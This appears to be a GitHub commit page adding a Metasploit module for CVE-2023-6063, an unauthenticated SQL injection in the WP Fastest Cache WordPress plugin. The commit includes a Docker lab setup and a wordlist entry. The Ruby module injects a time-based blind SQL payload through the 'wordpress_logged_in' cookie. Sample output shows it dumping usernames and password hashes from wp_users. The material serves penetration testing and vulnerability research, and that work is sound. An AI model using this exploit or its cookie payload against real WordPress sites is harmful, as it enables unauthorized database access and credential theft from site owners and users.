Skip to content

Commit 236639f

Browse files
dledda-r7dledda-r7
authored
Land rapid7#19473, Module for unauthenticated SQL Injection Vulnerability in WP Fastest Cache (CVE-2023-6063)
Land rapid7#19473, Module for unauthenticated SQL Injection Vulnerability in WP Fastest Cache (CVE-2023-6063)
2 parents 23484e0 + 36162ab commit 236639f

File tree

3 files changed

+207
-0
lines changed

3 files changed

+207
-0
lines changed

‎data/wordlists/wp-exploitable-plugins.txt‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -63,3 +63,4 @@ royal-elementor-addons
6363
backup-backup
6464
hash-form
6565
give
66+
wp-fastest-cache

‎documentation/modules/auxiliary/scanner/http/wp_fastest_cache_sqli.md‎

Lines changed: 134 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,134 @@
1+
## Vulnerable Application
2+
3+
The vulnerability affects the **WP Fastest Cache** plugin, version **1.2.2** and below, allowing SQL injection via a multipart form.
4+
5+
### Pre-requisites:
6+
- **Docker** and **Docker Compose** installed on your system.
7+
8+
### Setup Instructions:
9+
10+
1. **Download the Docker Compose file**:
11+
- Here is the content of the **docker-compose.yml** file to set up
12+
WordPress with the vulnerable WP Fastest Cache plugin and a MySQL database.
13+
14+
```yaml
15+
version: '3.1'
16+
17+
services:
18+
wordpress:
19+
image: wordpress:latest
20+
restart: always
21+
ports:
22+
- 5555:80
23+
environment:
24+
WORDPRESS_DB_HOST: db
25+
WORDPRESS_DB_USER: chocapikk
26+
WORDPRESS_DB_PASSWORD: dummy_password
27+
WORDPRESS_DB_NAME: exploit_market
28+
mem_limit: 512m
29+
volumes:
30+
- wordpress:/var/www/html
31+
32+
db:
33+
image: mysql:5.7
34+
restart: always
35+
environment:
36+
MYSQL_DATABASE: exploit_market
37+
MYSQL_USER: chocapikk
38+
MYSQL_PASSWORD: dummy_password
39+
MYSQL_RANDOM_ROOT_PASSWORD: '1'
40+
volumes:
41+
- db:/var/lib/mysql
42+
43+
volumes:
44+
wordpress:
45+
db:
46+
```
47+
48+
2. **Start the Docker environment**:
49+
- In the directory where you saved the `docker-compose.yml` file, run the following command to start the services:
50+
51+
```bash
52+
docker-compose up -d
53+
```
54+
55+
3. **Install WP Fastest Cache Plugin**:
56+
- Download the vulnerable version of WP Fastest Cache:
57+
58+
```bash
59+
wget https://downloads.wordpress.org/plugin/wp-fastest-cache.1.2.1.zip
60+
```
61+
62+
- Install the plugin in your running WordPress instance:
63+
- Extract the plugin files and copy them to your WordPress container:
64+
65+
```bash
66+
unzip wp-fastest-cache.1.2.1.zip
67+
docker cp wp-fastest-cache wordpress:/var/www/html/wp-content/plugins/
68+
```
69+
70+
- Navigate to `http://localhost:5555/wp-admin` in your browser and activate the **WP Fastest Cache** plugin in the WordPress admin panel.
71+
72+
4. **Enable Permalinks and Caching**:
73+
- Go to `Settings > Permalinks` in the WordPress dashboard and set permalinks to **Post name**.
74+
- Activate the caching feature in the WP Fastest Cache settings.
75+
76+
## Verification Steps
77+
78+
1. **Set up WordPress** with the vulnerable **WP Fastest Cache 1.2.1** plugin.
79+
2. **Start Metasploit** using the command `msfconsole`.
80+
3. Use the correct module for the vulnerability:
81+
82+
```bash
83+
use auxiliary/scanner/http/wp_fastest_cache_sqli
84+
```
85+
86+
4. Set the target's IP and URI:
87+
88+
```bash
89+
set RHOST <target_ip>
90+
set TARGETURI /
91+
```
92+
93+
5. **Run the module**:
94+
95+
```bash
96+
run
97+
```
98+
99+
6. **Verify the SQL Injection**:
100+
- After running the module, the SQL injection payload will attempt to retrieve or manipulate data from the WordPress database.
101+
102+
## Options
103+
104+
### COUNT
105+
This option specifies the number of rows to retrieve from the database during the SQL injection attack.
106+
For example, setting `COUNT` to 5 will retrieve 5 rows from the `wp_users` table.
107+
108+
## Scenarios
109+
110+
The following scenario demonstrates an SQL injection attack against a WordPress
111+
installation running **WP Fastest Cache <= 1.2.1** on a Docker environment with MySQL.
112+
113+
### Step-by-step Scenario
114+
115+
```bash
116+
msf6 auxiliary(scanner/http/wp_fastest_cache_sqli) > run http://127.0.0.1:5555
117+
118+
[*] Performing SQL injection via the 'wordpress_logged_in' cookie...
119+
[*] Enumerating Usernames and Password Hashes
120+
[*] {SQLi} Executing (select group_concat(chQnW) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) chQnW from wp_users limit 1) hsbomFD)
121+
[*] {SQLi} Encoded to (select group_concat(chQnW) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xe4,0)),ifnull(user_pass,repeat(0x57,0))) as binary) chQnW from wp_users limit 1) hsbomFD)
122+
[*] {SQLi} Time-based injection: expecting output of length 44
123+
[+] Dumped table contents:
124+
wp_users
125+
========
126+
127+
user_login user_pass
128+
---------- ---------
129+
chocapikk $P$BPdY0XccQT2nvSXE8bjsn1CERoF7eJ.
130+
131+
[+] Loot saved to: /home/chocapikk/.msf4/loot/20240919001325_default_127.0.0.1_wordpress.users_514832.txt
132+
[*] Scanned 1 of 1 hosts (100% complete)
133+
[*] Auxiliary module execution completed
134+
```

‎modules/auxiliary/scanner/http/wp_fastest_cache_sqli.rb‎

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Auxiliary::Scanner
8+
include Msf::Exploit::Remote::HTTP::Wordpress
9+
include Msf::Exploit::Remote::HTTP::Wordpress::SQLi
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'WordPress WP Fastest Cache Unauthenticated SQLi (CVE-2023-6063)',
16+
'Description' => %q{
17+
WP Fastest Cache, a WordPress plugin,
18+
prior to version 1.2.2, is vulnerable to an unauthenticated SQL injection
19+
vulnerability via the 'wordpress_logged_in' cookie. This can be exploited via a blind SQL injection attack without requiring any authentication.
20+
},
21+
'Author' => [
22+
'Valentin Lobstein', # Metasploit Module
23+
'Julien Voisin', # Module Idea
24+
'Alex Sanford' # Vulnerability Discovery
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' => [
28+
['CVE', '2023-6063'],
29+
['URL', 'https://wpscan.com/blog/unauthenticated-sql-injection-vulnerability-addressed-in-wp-fastest-cache-1-2-2/']
30+
],
31+
'Actions' => [
32+
['List Data', { 'Description' => 'Queries database schema for COUNT rows' }]
33+
],
34+
'DefaultAction' => 'List Data',
35+
'DefaultOptions' => { 'SqliDelay' => '2', 'VERBOSE' => true },
36+
'DisclosureDate' => '2023-11-14',
37+
'Notes' => {
38+
'Stability' => [CRASH_SAFE],
39+
'SideEffects' => [IOC_IN_LOGS],
40+
'Reliability' => []
41+
}
42+
)
43+
)
44+
45+
register_options [
46+
OptInt.new('COUNT', [false, 'Number of rows to retrieve', 1]),
47+
]
48+
end
49+
50+
def run_host(_ip)
51+
print_status("Performing SQL injection via the 'wordpress_logged_in' cookie...")
52+
53+
random_number = Rex::Text.rand_text_numeric(4..8)
54+
random_table = Rex::Text.rand_text_alpha(4..8)
55+
random_string = Rex::Text.rand_text_alpha(4..8)
56+
57+
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
58+
res = send_request_cgi({
59+
'method' => 'GET',
60+
'cookie' => "wordpress_logged_in=\" AND (SELECT #{random_number} FROM (SELECT(#{payload}))#{random_table}) AND \"#{random_string}\"=\"#{random_string}",
61+
'uri' => normalize_uri(target_uri.path, 'wp-admin.php')
62+
})
63+
fail_with Failure::Unreachable, 'Connection failed' unless res
64+
end
65+
66+
fail_with(Failure::NotVulnerable, 'Target is not vulnerable or delay is too short.') unless @sqli.test_vulnerable
67+
print_good('Target is vulnerable to SQLi!')
68+
69+
wordpress_sqli_initialize(@sqli)
70+
wordpress_sqli_get_users_credentials(datastore['COUNT'])
71+
end
72+
end

0 commit comments

Comments
 (0)